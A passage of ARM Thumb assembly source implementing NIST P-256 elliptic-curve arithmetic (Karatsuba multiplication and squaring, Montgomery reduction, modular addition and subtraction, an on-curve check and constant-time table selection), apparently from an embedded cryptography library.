r7,r1 sbcs r6,r6 eors r2,r6 eors r7,r6 subs r2,r6 sbcs r7,r6 push {r2,r7} frame address sp,16+use_noninlined_mul644 mov r2,r11 mov r11,r3 ldm r2,{r0,r1,r2,r3} subs r0,r2 sbcs r1,r3 sbcs r7,r7 eors r0,r7 eors r1,r7 subs r0,r7 sbcs r1,r7 eors r7,r6 mov r12,r7 push {r0,r1} frame address sp,24+use_noninlined_mul644 ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif mov r4,r10 mov r5,r11 eors r6,r6 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r6 mov r10,r2 mov r11,r3 pop {r2-r5} frame address sp,8+use_noninlined_mul644 push {r0,r1} frame address sp,16+use_noninlined_mul644 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif pop {r4,r5} frame address sp,8+use_noninlined_mul644 mov r6,r12 mov r7,r12 eors r0,r6 eors r1,r6 eors r2,r6 eors r3,r6 asrs r6,r6,#1 adcs r0,r4 adcs r1,r5 adcs r4,r2 adcs r5,r3 eors r2,r2 adcs r6,r2 ;//0,1 adcs r7,r2 pop {r2,r3} frame address sp,0+use_noninlined_mul644 mov r8,r2 mov r9,r3 adds r2,r0 adcs r3,r1 mov r0,r10 mov r1,r11 adcs r4,r0 adcs r5,r1 adcs r6,r0 adcs r7,r1 if use_noninlined_mul64 == 1 pop {pc} else bx lr endif endp if use_mul_for_sqr == 1 ;thumb_func P256_sqrmod ;label definition mov r2,r1 ; fallthrough endif ; r0 = out, r1 = a, r2 = b P256_mulmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 push {r1-r2} frame address sp,80 mov r10,r2 mov r11,r1 mov r0,r2 ldm r0!,{r4,r5} adds r0,#8 ldm r1!,{r2,r3} adds r1,#8 push {r0,r1} frame address sp,88 bl P256_mul128 add r0,sp,#24 stm r0!,{r2,r3} add r0,sp,#16 mov r2,r8 mov r3,r9 stm r0!,{r2,r3} ;pop {r0} ;result+8 ;stm r0!,{r2,r3} pop {r1,r2} ;a+16 b+16 frame address sp,80 ;push {r0} push {r4-r7} frame address sp,96 mov r10,r1 mov r11,r2 ldm r1!,{r4,r5} ldm r2,{r2,r3} bl P256_mul128 mov r0,r8 mov r1,r9 mov r8,r6 mov r9,r7 pop {r6,r7} frame address sp,88 adds r0,r6 adcs r1,r7 pop {r6,r7} frame address sp,80 adcs r2,r6 adcs r3,r7 ;pop {r7} ;result+16 add r7,sp,#24 stm r7!,{r0-r3} mov r10,r7 eors r0,r0 mov r6,r8 mov r7,r9 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 pop {r1,r2} ;b a frame address sp,72 mov r12,r2 push {r4-r7} frame address sp,88 ldm r1,{r0-r7} subs r0,r4 sbcs r1,r5 sbcs r2,r6 sbcs r3,r7 eors r4,r4 sbcs r4,r4 eors r0,r4 eors r1,r4 eors r2,r4 eors r3,r4 subs r0,r4 sbcs r1,r4 sbcs r2,r4 sbcs r3,r4 mov r6,r12 mov r12,r4 ;//carry mov r5,r10 stm r5!,{r0-r3} mov r11,r5 mov r8,r0 mov r9,r1 ldm r6,{r0-r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 eors r0,r0 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 mov r1,r12 eors r0,r1 mov r1,r11 stm r1!,{r4-r7} push {r0} frame address sp,92 mov r2,r8 mov r3,r9 bl P256_mul128 pop {r0} ;//r0,r1 frame address sp,88 mov r12,r0 ;//negative eors r2,r0 eors r3,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 push {r4-r7} frame address sp,104 add r1,sp,#32 ;result ldm r1!,{r4-r7} ;mov r11,r1 ;//reference mov r1,r9 eors r1,r0 mov r10,r4 mov r4,r8 asrs r0,#1 eors r0,r4 mov r4,r10 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 eors r4,r4 adcs r4,r4 mov r10,r4 ;//carry ;mov r4,r11 add r4,sp,#32+16 ldm r4,{r4-r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r9,r4 ;mov r4,r11 add r4,sp,#32+16 stm r4!,{r0-r3} ;mov r11,r4 pop {r0-r3} frame address sp,88 mov r4,r9 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 movs r1,#0 adcs r1,r1 mov r0,r10 mov r10,r1 ;//carry asrs r0,#1 pop {r0-r3} frame address sp,72 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 mov r8,r0 ;mov r0,r11 add r0,sp,#32 stm r0!,{r4-r7} ;mov r11,r0 mov r0,r8 mov r6,r12 mov r5,r10 eors r4,r4 adcs r5,r6 adcs r6,r4 adds r0,r5 adcs r1,r6 adcs r2,r6 adcs r3,r6 ;mov r7,r11 add r7,sp,#32+16 stm r7!,{r0-r3} ; multiplication done, now reducing reduce ;label definition pop {r0-r7} frame address sp,40 adds r3,r0 adcs r4,r1 adcs r5,r2 adcs r6,r0 mov r8,r2 mov r9,r3 mov r10,r4 mov r11,r5 mov r12,r6 adcs r7,r1 pop {r2-r5} ;8,9,10,11 frame address sp,24 adcs r2,r0 ;8+0 adcs r3,r1 ;9+1 movs r6,#0 adcs r4,r6 ;10+#0 adcs r5,r6 ;11+#0 adcs r6,r6 ;C subs r7,r0 ;7-0 sbcs r2,r1 ;8-1 ; r0,r1 dead mov r0,r8 ;2 mov r1,r9 ;3 sbcs r3,r0 ;9-2 sbcs r4,r1 ;10-3 movs r0,#0 sbcs r5,r0 ;11-#0 sbcs r6,r0 ;C-#0 mov r0,r12 ;6 adds r0,r1 ;6+3 mov r12,r0 mov r0,r10 ;4 adcs r7,r0 ;7+4 mov lr,r7 mov r0,r8 ;2 adcs r2,r0 ;8+2 adcs r3,r1 ;9+3 adcs r4,r0 ;10+2 adcs r5,r1 ;11+3 movs r7,#0 adcs r6,r7 ;C+#0 ;2-3 are now dead (r8,r9) ;4 5 6 7 8 9 10 11 C ;r10 r11 r12 lr r2 r3 r4 r5 r6 ;r7: 0 pop {r0,r1} ;12,13 frame address sp,16 adds r6,r0 ;12+C adcs r1,r7 ;13+#0 adcs r7,r7 ;new Carry for 14 ;r0 dead mov r0,r11 ;5 adds r2,r0 ;8+5 mov r8,r2 mov r2,r12 ;6 adcs r3,r2 ;9+6 mov r9,r3 mov r3,r10 ;4 adcs r4,r3 ;10+4 mov r10,r4 adcs r5,r0 ;11+5 adcs r6,r3 ;12+4 adcs r1,r0 ;13+5 pop {r2,r4} ;14,15 frame address sp,8 adcs r2,r7 ;14+C movs r7,#0 adcs r4,r7 ;15+#0 adcs r7,r7 ;new Carry for 16 ;4 5 6 7 8 9 10 11 12 13 14 15 C ;r3 r0 r12 lr r8 r9 r10 r5 r6 r1 r2 r4 r7 ;r11 is available subs r5,r3 ;11-4 sbcs r6,r0 ;12-5 mov r3,r12 ;6 mov r0,lr ;7 sbcs r1,r3 ;13-6 sbcs r2,r0 ;14-7 movs r3,#0 sbcs r4,r3 ;15-#0 sbcs r7,r3 ;C-#0 mov lr,r4 mov r11,r7 mov r4,r10 ;10 adds r4,r0 ;10+7 adcs r5,r3 ;11+#0 mov r7,r12 ;6 adcs r6,r7 ;12+6 adcs r1,r0 ;13+7 adcs r2,r7 ;14+6 mov r7,lr ;15 adcs r7,r0 ;15+7 mov r0,r11 ;C adcs r0,r3 ;C+#0 ; now (T + mN) / R is ; 8 9 4 5 6 1 2 7 6 (lsb -> msb) subs r3,r3 ;set r3 to 0 and C to 1 mov r10,r0 mov r0,r8 adcs r0,r3 mov r11,r7 mov r7,r9 adcs r7,r3 mov r12,r0 mov r9,r7 adcs r4,r3 sbcs r5,r3 sbcs r6,r3 sbcs r1,r3 movs r3,#1 sbcs r2,r3 movs r3,#0 mov r0,r11 mov r7,r10 adcs r0,r3 sbcs r7,r3 ; r12 r9 r4 r5 \| r6 r1 r2 r0 mov r8,r2 mov r2,r12 mov r11,r0 mov r3,r9 reduce2 ;label definition adds r2,r7 adcs r3,r7 adcs r4,r7 movs r0,#0 adcs r5,r0 adcs r6,r0 adcs r1,r0 pop {r0} frame address sp,4 stm r0!,{r2-r6} movs r5,#1 ands r5,r7 mov r2,r8 mov r3,r11 adcs r2,r5 adcs r3,r7 stm r0!,{r1-r3} pop {pc} endp if use_mul_for_sqr == 0 if use_noninlined_sqr64 == 1 P256_sqr64 proc ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. bx lr endp P256_sqr128 proc push {lr} frame push {lr} ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 bl P256_sqr64 mov r4,r10 mov r5,r7 mov r10,r0 mov r11,r1 mov r12,r2 mov r7,r3 bl P256_sqr64 mov r4,r12 adds r0,r4 adcs r1,r7 adcs r2,r6 adcs r3,r6 mov r7,r3 mov r12,r0 mov r4,r8 mov r8,r1 mov r5,r9 mov r9,r2 bl P256_sqr64 mov r4,r12 mov r5,r8 mov r6,r9 subs r4,r0 sbcs r5,r1 mov r0,r6 mov r1,r7 sbcs r0,r2 sbcs r1,r3 movs r2,#0 sbcs r6,r2 sbcs r7,r2 mov r2,r10 adds r2,r4 mov r3,r11 adcs r3,r5 mov r4,r12 adcs r4,r0 mov r5,r8 adcs r5,r1 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 mov r1,r11 ; END: sqr 128 Refined Karatsuba pop {pc} endp else P256_sqr128 proc ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. mov r6,r10 mov r10,r0 mov r11,r1 mov r12,r2 mov r1,r3 ; START: sqr 64 Refined Karatsuba ; Input operands in r6,r7 ; Result in r2,r3,r4,r5 ; Clobbers: r0,r7,r6 ; START: sqr 32 ; Input operand in r6 ; Result in r2 ,r3 ; Clobbers: r4, r5 uxth r2,r6 lsrs r3,r6,#16 mov r4,r2 muls r4,r3,r4 muls r2,r2,r2 muls r3,r3,r3 lsrs r5,r4,#15 lsls r4,r4,#17 adds r2,r4 adcs r3,r5 ; End: sqr 32 ; Result in r2 ,r3 subs r6,r7 sbcs r4,r4 eors r6,r4 subs r6,r4 ; START: sqr 32 ; Input operand in r7 ; Result in r4 ,r5 ; Clobbers: r0, r7 uxth r4,r7 lsrs r5,r7,#16 mov r0,r4 muls r0,r5,r0 muls r4,r4,r4 muls r5,r5,r5 lsrs r7,r0,#15 lsls r0,r0,#17 adds r4,r0 adcs r5,r7 ; End: sqr 32 ; Result in r4 ,r5 movs r7,#0 adds r4,r3 adcs r5,r7 ; START: sqr 32 ; Input operand in r6 ; Result in r7 ,r0 ; Clobbers: r6, r3 uxth r7,r6 lsrs r0,r6,#16 mov r6,r7 muls r6,r0,r6 muls r7,r7,r7 muls r0,r0,r0 lsrs r3,r6,#15 lsls r6,r6,#17 adds r7,r6 adcs r0,r3 ; End: sqr 32 ; Result in r7 ,r0 mov r3,r4 subs r3,r7 sbcs r4,r0 mov r0,r5 movs r6,#0 sbcs r5,r6 adds r3,r2 adcs r4,r0 adcs r5,r6 ; END: sqr 64 Refined Karatsuba ; Result in r2,r3,r4,r5 ; Leaves r6 zero. mov r0,r12 adds r2,r0 adcs r3,r1 adcs r4,r6 adcs r5,r6 mov r12,r2 mov r2,r8 mov r8,r3 mov r3,r9 mov r9,r4 ; START: sqr 64 Refined Karatsuba ; Input operands in r2,r3 ; Result in r6,r7,r0,r1 ; Clobbers: r2,r3,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r6 ,r7 ; Clobbers: r0, r1 uxth r6,r2 lsrs r7,r2,#16 mov r0,r6 muls r0,r7,r0 muls r6,r6,r6 muls r7,r7,r7 lsrs r1,r0,#15 lsls r0,r0,#17 adds r6,r0 adcs r7,r1 ; End: sqr 32 ; Result in r6 ,r7 subs r2,r3 sbcs r4,r4 eors r2,r4 subs r2,r4 ; START: sqr 32 ; Input operand in r3 ; Result in r0 ,r1 ; Clobbers: r3, r4 uxth r0,r3 lsrs r1,r3,#16 mov r3,r0 muls r3,r1,r3 muls r0,r0,r0 muls r1,r1,r1 lsrs r4,r3,#15 lsls r3,r3,#17 adds r0,r3 adcs r1,r4 ; End: sqr 32 ; Result in r0 ,r1 movs r4,#0 adds r0,r7 adcs r1,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r3 ,r4 ; Clobbers: r2, r7 uxth r3,r2 lsrs r4,r2,#16 mov r2,r3 muls r2,r4,r2 muls r3,r3,r3 muls r4,r4,r4 lsrs r7,r2,#15 lsls r2,r2,#17 adds r3,r2 adcs r4,r7 ; End: sqr 32 ; Result in r3 ,r4 mov r7,r0 subs r7,r3 sbcs r0,r4 mov r2,r1 movs r4,#0 sbcs r1,r4 adds r7,r6 adcs r0,r2 adcs r1,r4 ; END: sqr 64 Refined Karatsuba ; Result in r6,r7,r0,r1 ; Returns r4 as zero. mov r2,r12 mov r3,r8 mov r4,r9 subs r2,r6 sbcs r3,r7 mov r6,r4 mov r7,r5 sbcs r4,r0 sbcs r5,r1 movs r0,#0 sbcs r6,r0 sbcs r7,r0 mov r0,r10 adds r2,r0 mov r1,r11 adcs r3,r1 mov r0,r12 adcs r4,r0 mov r0,r8 adcs r5,r0 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 ; END: sqr 128 Refined Karatsuba ; Result in r0 ... r7 bx lr endp endif ; ###################### ; ASM Square 256 refined karatsuba: ; ###################### ; sqr 256 Refined Karatsuba ; pInput in r1 ; pResult in r0 P256_sqrmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 ;mov lr,sp push {r1} frame address sp,76 ldm r1!,{r4,r5,r6,r7} bl P256_sqr128 push {r4,r5,r6,r7} frame address sp,92 ;mov r4,lr add r4,sp,#20 stm r4!,{r0,r1,r2,r3} ldr r4,[sp,#16] adds r4,#16 ldm r4,{r4,r5,r6,r7} bl P256_sqr128 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4,r5,r6,r7} frame address sp,76 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 mov r8,r0 movs r0,#0 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 mov r0,r8 push {r0,r1,r2,r3,r4,r5,r6,r7} frame address sp,108 ldr r4,[sp,#32] ldm r4,{r0,r1,r2,r3,r4,r5,r6,r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 bl P256_sqr128 mvns r0,r0 mvns r1,r1 mvns r2,r2 mvns r3,r3 mvns r4,r4 mvns r5,r5 mvns r6,r6 mvns r7,r7 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 subs r4,r4 pop {r4,r5,r6,r7} frame address sp,92 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r12,r4 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} mov r4,r12 mov r0,r8 adcs r0,r4 mov r8,r0 mov r1,r9 adcs r1,r5 mov r9,r1 mov r2,r10 adcs r2,r6 mov r10,r2 mov r3,r11 adcs r3,r7 mov r11,r3 movs r0,#0 adcs r0,r0 mov r12,r0 ;mov r0,lr add r0,sp,#20 ldm r0,{r0,r1,r2,r3,r4,r5,r6,r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} ;mov lr,r4 mov r0,r13 ldm r0!,{r4,r5,r6,r7} mov r1,r8 adcs r4,r1 mov r1,r9 adcs r5,r1 mov r1,r10 adcs r6,r1 mov r1,r11 adcs r7,r1 ;mov r0,lr add r0,sp,#20+32 stm r0!,{r4,r5,r6,r7} pop {r4,r5,r6,r7} frame address sp,76 mov r1,r12 movs r2,#0 mvns r2,r2 adcs r1,r2 asrs r2,r1,#4 adds r4,r1 adcs r5,r2 adcs r6,r2 adcs r7,r2 stm r0!,{r4,r5,r6,r7} add sp,#4 frame address sp,72 b reduce endp endif ; r0 = output, r1 = a, r2 = b P256_addmod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} adds r0,r5 adcs r3,r6 adcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} adcs r5,r3 adcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} adcs r1,r0 adcs r3,r2 adcs r4,r7 movs r7,#0 adcs r7,r7 subs r0,r0 ;set r0 to 0 and C to 1 mov r2,r8 mov r8,r7 mov r7,r9 mov r9,r4 mov r4,r10 adcs r2,r0 mov r10,r2 adcs r7,r0 mov r11,r7 adcs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r1,r0 movs r0,#1 sbcs r3,r0 movs r0,#0 mov r2,r9 adcs r2,r0 mov r7,r8 sbcs r7,r0 ; r10 r11 r4 r5 \| r6 r1 r3 r2 \| r7 mov r8,r3 mov r3,r11 mov r11,r2 mov r2,r10 ; r2 r3 r4 r5 \| r6 r1 r8 r11 \| r7 b reduce2 endp ; r0 = output, r1 = a, r2 = b P256_submod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} subs r0,r5 sbcs r3,r6 sbcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} sbcs r5,r3 sbcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} sbcs r1,r0 sbcs r3,r2 sbcs r4,r7 sbcs r7,r7 mov r2,r8 mov r8,r3 mov r11,r4 mov r3,r9 mov r4,r10 b reduce2 endp ; in: r0 = output (8 words) ; out: r0 is preserved P256_load_1 proc movs r1,#1 stm r0!,{r1} movs r1,#0 movs r2,#0 stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1} subs r0,#32 bx lr endp ; in: r1 ; out: r0 P256_to_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} adr r2,P256_R2_mod_p bl P256_mulmod pop {r4-r7,pc} endp align 4 ; (2^256)^2 mod p P256_R2_mod_p dcd 3 dcd 0 dcd 0xffffffff dcd 0xfffffffb dcd 0xfffffffe dcd 0xffffffff dcd 0xfffffffd dcd 4 ; in: r1 ; out: r0 P256_from_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} movs r2,#0 movs r3,#0 push {r2-r3} frame address sp,28 push {r2-r3} frame address sp,36 push {r2-r3} frame address sp,44 movs r2,#1 push {r2-r3} frame address sp,52 mov r2,sp bl P256_mulmod add sp,#32 frame address sp,20 pop {r4-r7,pc} endp ; Elliptic curve operations on the NIST curve P256 ; Checks if a point is on curve ; in: r0 = x,y(,scratch) in Montgomery form ; out: r0 = 1 if on curve, otherwise 0 P256_point_is_on_curve proc if use_interpreter == 1 push {r0,lr} frame push {lr} frame address sp,8 adr r2,P256_point_is_on_curve_program bl P256_interpreter ldr r0,[sp] adds r0,#64 adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f0 adr r0,P256_b_mont ldr r1,[sp] adds r1,#64 bl P256_greater_or_equal_than 0 pop {r1,pc} else push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 ; We verify y^2 - (x^3 - 3x) = b ; y^2 mov r1,r0 adds r1,#32 sub sp,#32 frame address sp,56 mov r0,sp bl P256_sqrmod ; x^2 ldr r1,[sp,#32] sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod ; x^3 mov r0,sp ldr r1,[sp,#64] mov r2,sp bl P256_mulmod ; x^3 - 3x movs r0,#3 0 push {r0} frame address sp,92 add r0,sp,#4 add r1,sp,#4 ldr r2,[sp,#68] bl P256_submod pop {r0} frame address sp,88 subs r0,#1 bne %b0 ; y^2 - (x^3 - 3x) mov r0,sp add r1,sp,#32 mov r2,sp bl P256_submod ; compare with b mov r0,sp adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f1 adr r0,P256_b_mont mov r1,sp bl P256_greater_or_equal_than 1 add sp,#68 frame address sp,20 pop {r4-r7,pc} endif endp align 4 P256_b_mont dcd 0x29c4bddf dcd 0xd89cdf62 dcd 0x78843090 dcd 0xacf005cd dcd 0xf7212ed6 dcd 0xe5a220ab dcd 0x04874834 dcd 0xdc30061d if use_interpreter == 1 P256_point_is_on_curve_program dcw 0x2040 dcw 0x2130 dcw 0x1113 dcw 0x4113 dcw 0x4113 dcw 0x4113 dcw 0x4501 dcw 0x0000 endif ; input: r0 = value, r1 = limit ; output: 1 if value >= limit, otherwise 0 P256_greater_or_equal_than proc push {r4-r6,lr} frame push {r4-r6,lr} subs r5,r5 ; set r5 to 0 and C to 1 mvns r6,r5 ; set r6 to -1 movs r2,#8 0 ldm r0!,{r3} ldm r1!,{r4} sbcs r3,r4 add r2,r2,r6 tst r2,r2 bne %b0 adcs r5,r5 mov r0,r5 pop {r4-r6,pc} endp ; in: r0 = output location, r1 = input, r2 = 0/1, r3 = m ; if r2 = 0, then r0 is set to r1 ; if r2 = 1, then r0 is set to m - r1 ; note that r1 should be in the range [1,m-1] ; out: r0 and r1 will have advanced 32 bytes, r2 will remain as the input P256_negate_mod_m_if proc push {r4-r7,lr} frame push {r4-r7,lr} movs r4,#1 rsbs r5,r4,#0 ; r5=-1 mov r8,r5 subs r4,r4,r2 ; r4=!r2, C=1 movs r6,#8 0 ldm r1!,{r5} ldm r3!,{r7} sbcs r7,r5 muls r7,r2,r7 muls r5,r4,r5 add r7,r7,r5 stm r0!,{r7} add r6,r6,r8 tst r6,r6 bne %b0 pop {r4-r7,pc} endp ; copies 8 words ; in: r0 = result, r1 = input ; out: r0 = end of result, r1 = end of input P256_copy32 proc push {r4-r5,lr} frame push {r4-r5,lr} ldm r1!,{r2-r5} stm r0!,{r2-r5} ldm r1!,{r2-r5} stm r0!,{r2-r5} pop {r4-r5,pc} endp ; copies 32 bytes ; in: r0 = result, r1 = input ; out: r0 = end of result, r1 = end of input P256_copy32_unaligned proc movs r2,#32 add r2,r0 0 ldrb r3,[r1] strb r3,[r0] adds r1,#1 adds r0,#1 cmp r0,r2 bne %b0 bx lr endp ; Selects one of many values ; r0 = output, r1 = table, r2 = index to choose [0..7] P256_select proc push {r2,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 movs r6,#4 0 push {r0,r6} frame address sp,32 movs r7,#0 mov r8,r7 mov r9,r7 mov r10,r7 mov r11,r7 mov r12,r7 mov lr,r7 1 ldr r0,[sp,#8] eors r0,r7 mrs r0,apsr lsrs r0,#30 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r8,r2 add r9,r3 add r10,r4 ldm r1!,{r2-r4} muls r2,r0,r2 muls 